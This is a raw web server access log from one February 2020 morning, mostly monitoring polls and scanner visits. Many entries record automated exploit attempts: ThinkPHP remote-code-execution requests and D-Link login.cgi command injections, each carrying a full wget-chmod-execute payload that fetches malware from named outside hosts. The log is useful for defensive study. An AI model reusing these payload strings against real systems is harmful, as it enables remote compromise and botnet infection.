116.58.227.222 - - [12/Feb/2020:07:07:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:07:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.56.132.63 - - [12/Feb/2020:07:09:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:07:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.67 - - [12/Feb/2020:07:09:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [12/Feb/2020:07:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.67 - - [12/Feb/2020:07:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [12/Feb/2020:07:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.12.7.33 - - [12/Feb/2020:07:11:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:07:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.47.149 - - [12/Feb/2020:07:13:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:07:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.42 - - [12/Feb/2020:07:17:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:07:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.180.167.150 - - [12/Feb/2020:07:18:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:07:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.160.50 - - [12/Feb/2020:07:20:08 +0100] "GET / HTTP/1.1" 200 1229 "https://izamorfix.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [12/Feb/2020:07:20:09 +0100] "GET / HTTP/1.1" 200 1229 "https://s-forum.biz/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [12/Feb/2020:07:20:09 +0100] "GET / HTTP/1.1" 200 1229 "https://izamorfix.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [12/Feb/2020:07:20:09 +0100] "GET / HTTP/1.1" 200 1229 "https://s-forum.biz/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [12/Feb/2020:07:20:09 +0100] "GET / HTTP/1.1" 200 1229 "https://izamorfix.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [12/Feb/2020:07:20:09 +0100] "GET / HTTP/1.1" 200 1229 "https://s-forum.biz/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
212.91.246.72 - - [12/Feb/2020:07:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.196.234.78 - - [12/Feb/2020:07:21:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [12/Feb/2020:07:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [12/Feb/2020:07:24:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [12/Feb/2020:07:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [12/Feb/2020:07:26:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [12/Feb/2020:07:27:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [12/Feb/2020:07:27:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [12/Feb/2020:07:27:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:07:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [12/Feb/2020:07:27:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:07:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.96.238.247 - - [12/Feb/2020:07:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
66.96.238.247 - - [12/Feb/2020:07:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:07:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.180.224.249 - - [12/Feb/2020:07:32:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [12/Feb/2020:07:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.82.252 - - [12/Feb/2020:07:33:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:07:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.106.55 - - [12/Feb/2020:07:37:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:07:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.114.224.102 - - [12/Feb/2020:07:38:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:07:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.5.225.4 - - [12/Feb/2020:07:42:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:07:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [12/Feb/2020:07:45:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
34.85.127.18 - - [12/Feb/2020:07:46:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:07:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [12/Feb/2020:07:46:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
42.113.10.10 - - [12/Feb/2020:07:47:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:07:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.23.9 - - [12/Feb/2020:07:50:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:07:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.133.194.58 - - [12/Feb/2020:07:53:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.179.55 - - [12/Feb/2020:07:54:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:07:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.196.241 - - [12/Feb/2020:07:54:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:07:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
96.9.78.47 - - [12/Feb/2020:07:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:07:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.80 - - [12/Feb/2020:07:58:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.202.65.239 - - [12/Feb/2020:07:58:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.9.67 - - [12/Feb/2020:07:58:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:07:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.114.224.102 - - [12/Feb/2020:08:00:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:08:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.196.98.78 - - [12/Feb/2020:08:03:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:08:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.6.39.45 - - [12/Feb/2020:08:04:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:08:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.254.56.101 - - [12/Feb/2020:08:07:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:08:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.20.85 - - [12/Feb/2020:08:10:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
3.6.39.45 - - [12/Feb/2020:08:11:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:08:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.5.115.116 - - [12/Feb/2020:08:15:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:08:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.60.123.74 - - [12/Feb/2020:08:16:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:08:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.76.202.33 - - [12/Feb/2020:08:16:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
220.116.93.35 - - [12/Feb/2020:08:17:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [12/Feb/2020:08:17:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [12/Feb/2020:08:17:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:08:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [12/Feb/2020:08:17:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [12/Feb/2020:08:18:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [12/Feb/2020:08:18:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [12/Feb/2020:08:18:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
